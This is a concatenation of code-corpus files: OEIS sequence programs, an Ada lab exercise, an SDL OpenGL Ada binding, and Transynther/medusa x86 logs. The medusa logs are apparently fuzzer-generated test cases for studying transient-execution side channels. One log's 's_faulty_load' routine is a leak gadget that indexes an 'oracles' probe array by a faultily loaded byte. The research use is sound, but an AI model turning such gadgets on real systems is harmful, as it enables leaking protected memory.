'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 5, 'same': True, 'type': 'addresses_WT_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
programs/oeis/026/A026273.asm
karttu/loda
0
23923
; A026273: a(n) = least k such that s(k) = n, where s = A026272. ; 1,2,4,6,7,9,10,12,14,15,17,19,20,22,23,25,27,28,30,31,33,35,36,38,40,41,43,44,46,48,49,51,53,54,56,57,59,61,62,64,65,67,69,70,72,74,75,77,78,80,82,83,85,86,88,90,91,93,95,96,98,99 mov $7,$0 add $0,2 mov $2,$0 mov $5,$0 add $5,$0 lpb $2,1 mov $1,3 lpb $1,1 mov $0,$5 mod $1,2 mov $4,1 mov $5,80 mov $6,6 lpe lpb $5,1 add $1,$0 mov $3,1 add $4,3 sub $5,1 lpe lpb $6,1 sub $2,$2 add $4,3 sub $6,$3 lpe lpe div $1,$4 add $1,$7
Lab4/lab4b.adb
albinjal/ada_basic
3
22240
<reponame>albinjal/ada_basic<gh_stars>1-10 with Date_Package; use Date_Package; with Ada.Text_IO; use Ada.Text_IO; procedure Lab4b is type Dates is array (1..10) of Date_Type; procedure Test_Get(Date: out Date_Type) is begin loop begin Get(Date); exit; exception when YEAR_ERROR => Put_Line("FEL: YEAR_ERROR"); when MONTH_ERROR => Put_Line("FEL: MONTH_ERROR"); when DAY_ERROR => Put_Line("FEL: DAY_ERROR"); when FORMAT_ERROR => Put_Line("FEL: FORMAT_ERROR"); end; end loop; end Test_Get; Date: Date_Type; Date2: Date_Type; begin Put("Ange ett datum: "); Test_Get(Date); Put("Ett datum: "); Put(Date); New_Line; Date := Next_Date(Date); Put("Nästkommande datum: "); Put(Date); New_Line; Date2 := Previous_Date(Date); Put("Tiigare datum: "); Put(Date); New_Line; -- Put(Date); New_Line; --for I in 1..368 loop -- Date := Previous_Date(Date); -- Put(Date); New_Line; --end loop; --Test_Leap_Years; end Lab4b;
programs/oeis/157/A157336.asm
neoneye/loda
22
172718
<gh_stars>10-100 ; A157336: a(n) = 8*(8*n + 1). ; 72,136,200,264,328,392,456,520,584,648,712,776,840,904,968,1032,1096,1160,1224,1288,1352,1416,1480,1544,1608,1672,1736,1800,1864,1928,1992,2056,2120,2184,2248,2312,2376,2440,2504,2568,2632,2696,2760,2824,2888,2952,3016,3080,3144,3208,3272,3336,3400,3464,3528,3592,3656,3720,3784,3848,3912,3976,4040,4104,4168,4232,4296,4360,4424,4488,4552,4616,4680,4744,4808,4872,4936,5000,5064,5128,5192,5256,5320,5384,5448,5512,5576,5640,5704,5768,5832,5896,5960,6024,6088,6152,6216,6280,6344,6408 mul $0,64 add $0,72
Transynther/x86/_processed/US/_zr_/i3-7100_9_0xca_notsx.log_152_1248.asm
ljhsiun2/medusa
9
15667
<gh_stars>1-10 .global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rbp push %rbx push %rcx push %rdi push %rsi lea addresses_normal_ht+0x14b20, %rcx cmp %r11, %r11 movb (%rcx), %bl nop nop nop nop and $10399, %rcx lea addresses_normal_ht+0x6660, %r8 nop nop inc %r12 mov $0x6162636465666768, %r11 movq %r11, (%r8) add $54973, %r11 lea addresses_WC_ht+0x1760, %rbp dec %r12 movl $0x61626364, (%rbp) nop nop nop nop nop xor $1083, %r11 lea addresses_normal_ht+0x1e420, %rsi lea addresses_UC_ht+0x7c60, %rdi nop nop add $8598, %rbx mov $19, %rcx rep movsl nop nop nop cmp $42202, %r8 lea addresses_WT_ht+0x17260, %rcx nop nop add $16580, %rdi movb $0x61, (%rcx) nop nop nop nop nop xor $40357, %rbx lea addresses_normal_ht+0x5b60, %r8 clflush (%r8) xor $46350, %rcx mov $0x6162636465666768, %rbx movq %rbx, (%r8) nop sub %r11, %r11 lea addresses_D_ht+0x18e30, %rsi nop cmp $41080, %rbx movups (%rsi), %xmm5 vpextrq $0, %xmm5, %r11 nop nop nop nop nop dec %rbp lea addresses_WC_ht+0x16160, %rsi lea addresses_WC_ht+0xf0a6, %rdi nop nop nop nop nop add $33939, %rbp mov $86, %rcx rep movsb nop nop nop nop cmp %r8, %r8 lea addresses_normal_ht+0x1a71e, %r12 nop add %rbx, %rbx movb (%r12), %cl nop xor $19490, %rsi pop %rsi pop %rdi pop %rcx pop %rbx pop %rbp pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %rbp push %rcx push %rdi push %rsi // Store lea addresses_WT+0x1a9a0, %r10 and %rsi, %rsi movw $0x5152, (%r10) nop nop nop nop nop sub %r10, %r10 // Faulty Load lea addresses_US+0x1ce60, %rbp and %r14, %r14 mov (%rbp), %esi lea oracles, %rcx and $0xff, %rsi shlq $12, %rsi mov (%rcx,%rsi,1), %rsi pop %rsi pop %rdi pop %rcx pop %rbp pop %r14 pop %r12 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT', 'size': 2, 'AVXalign': False}} [Faulty Load] {'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_US', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_WC_ht', 'size': 4, 'AVXalign': False}} {'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 9, 'same': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}} {'OP': 'STOR', 'dst': {'same': False, 'congruent': 7, 'NT': False, 'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False}} {'src': {'same': False, 'congruent': 4, 'NT': False, 'type': 'addresses_D_ht', 'size': 16, 'AVXalign': False}, 'OP': 'LOAD'} {'src': {'type': 'addresses_WC_ht', 'congruent': 8, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}} {'src': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'} {'00': 152} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
src/sdl-video-gl.ads
treggit/sdlada
89
20451
<gh_stars>10-100 -------------------------------------------------------------------------------------------------------------------- -- Copyright (c) 2013-2020, <NAME> -- -- This software is provided 'as-is', without any express or implied -- warranty. In no event will the authors be held liable for any damages -- arising from the use of this software. -- -- Permission is granted to anyone to use this software for any purpose, -- including commercial applications, and to alter it and redistribute it -- freely, subject to the following restrictions: -- -- 1. The origin of this software must not be misrepresented; you must not -- claim that you wrote the original software. If you use this software -- in a product, an acknowledgment in the product documentation would be -- appreciated but is not required. -- -- 2. Altered source versions must be plainly marked as such, and must not be -- misrepresented as being the original software. -- -- 3. This notice may not be removed or altered from any source -- distribution. -------------------------------------------------------------------------------------------------------------------- -- SDL.Video.GL -- -- Extended OpenGL functionality. -------------------------------------------------------------------------------------------------------------------- with Ada.Finalization; with Interfaces.C; private with SDL.C_Pointers; with SDL.Video.Windows; with SDL.Video.Textures; package SDL.Video.GL is pragma Preelaborate; SDL_GL_Error : exception; type Colour_Bit_Size is range 0 .. 8 with Size => 8; -- TODO: Do I need 15 bits here? -- This is the size of the various Colour_Bit_Sizes for red, blue, green and alpha. type Buffer_Sizes is range 8 .. 32 with Static_Predicate => Buffer_Sizes in 8 | 16 | 24 | 32; type Depth_Buffer_Sizes is range 16 .. 32 with Static_Predicate => Depth_Buffer_Sizes in 16 | 24 | 32; type Stencil_Buffer_Sizes is range 0 .. 32 with Static_Predicate => Stencil_Buffer_Sizes in 0 | 8 | 16 | 24 | 32; type Multisample_Samples is range 0 .. 16; -- The curent values allowed for a GL version, whether lower versions will work -- with SDL is anothing matter. type Major_Versions is range 1 .. 4; type Minor_Versions is range 0 .. 4; type Profiles is (Core, Compatibility, ES) with Convention => C, Size => Interfaces.C.int'Size; for Profiles use (Core => 16#0000_0001#, Compatibility => 16#0000_0002#, ES => 16#0000_0004#); type Flags is mod 2 ** 8 with Convention => C, Size => 8; Context_Debug : constant Flags := 16#0000_0001#; Context_Forward_Compatible : constant Flags := 16#0000_0002#; Context_Robust_Access : constant Flags := 16#0000_0004#; Context_Reset_Isolation : constant Flags := 16#0000_0008#; function Red_Size return Colour_Bit_Size; procedure Set_Red_Size (Size : in Colour_Bit_Size); function Green_Size return Colour_Bit_Size; procedure Set_Green_Size (Size : in Colour_Bit_Size); function Blue_Size return Colour_Bit_Size; procedure Set_Blue_Size (Size : in Colour_Bit_Size); function Alpha_Size return Colour_Bit_Size; procedure Set_Alpha_Size (Size : in Colour_Bit_Size); function Buffer_Size return Buffer_Sizes; procedure Set_Buffer_Size (Size : in Buffer_Sizes); function Is_Double_Buffered return Boolean; procedure Set_Double_Buffer (On : in Boolean); function Depth_Buffer_Size return Depth_Buffer_Sizes; procedure Set_Depth_Buffer_Size (Size : in Depth_Buffer_Sizes); function Stencil_Buffer_Size return Stencil_Buffer_Sizes; procedure Set_Stencil_Buffer_Size (Size : in Stencil_Buffer_Sizes); function Accumulator_Red_Size return Colour_Bit_Size; procedure Set_Accumulator_Red_Size (Size : in Colour_Bit_Size); function Accumulator_Green_Size return Colour_Bit_Size; procedure Set_Accumulator_Green_Size (Size : in Colour_Bit_Size); function Accumulator_Blue_Size return Colour_Bit_Size; procedure Set_Accumulator_Blue_Size (Size : in Colour_Bit_Size); function Accumulator_Alpha_Size return Colour_Bit_Size; procedure Set_Accumulator_Alpha_Size (Size : in Colour_Bit_Size); function Is_Stereo return Boolean; procedure Set_Stereo (On : in Boolean); function Is_Multisampled return Boolean; procedure Set_Multisampling (On : in Boolean); function Multisampling_Samples return Multisample_Samples; procedure Set_Multisampling_Samples (Samples : in Multisample_Samples); function Is_Accelerated return Boolean; procedure Set_Accelerated (On : in Boolean); function Context_Major_Version return Major_Versions; procedure Set_Context_Major_Version (Version : Major_Versions); function Context_Minor_Version return Minor_Versions; procedure Set_Context_Minor_Version (Version : Minor_Versions); function Is_Context_EGL return Boolean; procedure Set_Context_EGL (On : in Boolean); function Context_Flags return Flags; procedure Set_Context_Flags (Context_Flags : in Flags); function Context_Profile return Profiles; procedure Set_Context_Profile (Profile : in Profiles); -- Utility subprograms. procedure Set_Core_Context_Profile (Major : in Major_Versions; Minor : Minor_Versions); function Is_Sharing_With_Current_Context return Boolean; procedure Set_Share_With_Current_Context (On : in Boolean); -- The GL context. type Contexts is new Ada.Finalization.Limited_Controlled with private; procedure Create (Self : in out Contexts; From : in SDL.Video.Windows.Window); overriding procedure Finalize (Self : in out Contexts); function Get_Current return Contexts; procedure Set_Current (Self : in Contexts; To : in SDL.Video.Windows.Window); procedure Bind_Texture (Texture : in SDL.Video.Textures.Texture); procedure Bind_Texture (Texture : in SDL.Video.Textures.Texture; Size : out SDL.Sizes); procedure Unbind_Texture (Texture : in SDL.Video.Textures.Texture); function Supports (Extension : in String) return Boolean; generic type Access_To_Sub_Program is private; function Get_Sub_Program (Name : in String) return Access_To_Sub_Program; type Swap_Intervals is (Not_Supported, Not_Synchronised, Synchronised) with Convention => C; for Swap_Intervals use (Not_Supported => -1, Not_Synchronised => 0, Synchronised => 1); subtype Allowed_Swap_Intervals is Swap_Intervals range Not_Synchronised .. Synchronised; function Get_Swap_Interval return Swap_Intervals; -- Returns False if setting this is not supported. function Set_Swap_Interval (Interval : in Allowed_Swap_Intervals; Late_Swap_Tear : in Boolean) return Boolean; procedure Swap (Window : in out SDL.Video.Windows.Window) with Inline => True; procedure Load_Library; procedure Load_Library (Path : in String); procedure Unload_Library with Inline => True; private type Contexts is new Ada.Finalization.Limited_Controlled with record Internal : SDL.C_Pointers.GL_Context_Pointer; Owns : Boolean; end record; end SDL.Video.GL;